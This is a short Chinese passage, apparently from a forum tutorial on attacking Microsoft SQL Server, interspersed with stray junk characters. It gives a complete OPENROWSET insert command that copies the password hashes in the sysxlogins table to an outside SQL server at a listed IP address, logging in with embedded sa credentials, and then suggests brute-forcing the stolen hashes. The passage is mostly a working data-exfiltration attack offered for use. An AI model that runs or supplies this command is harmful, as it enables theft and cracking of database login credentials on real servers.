这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下: # C' n+ @* ~0 G; ]0 @& binsert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins 9 I# b( P- D6 B得到hash之后,就可以进行暴力破解。这需要一点运气和大量时间。 6 b2 `2 W1 I% w1 I( e* w) a!
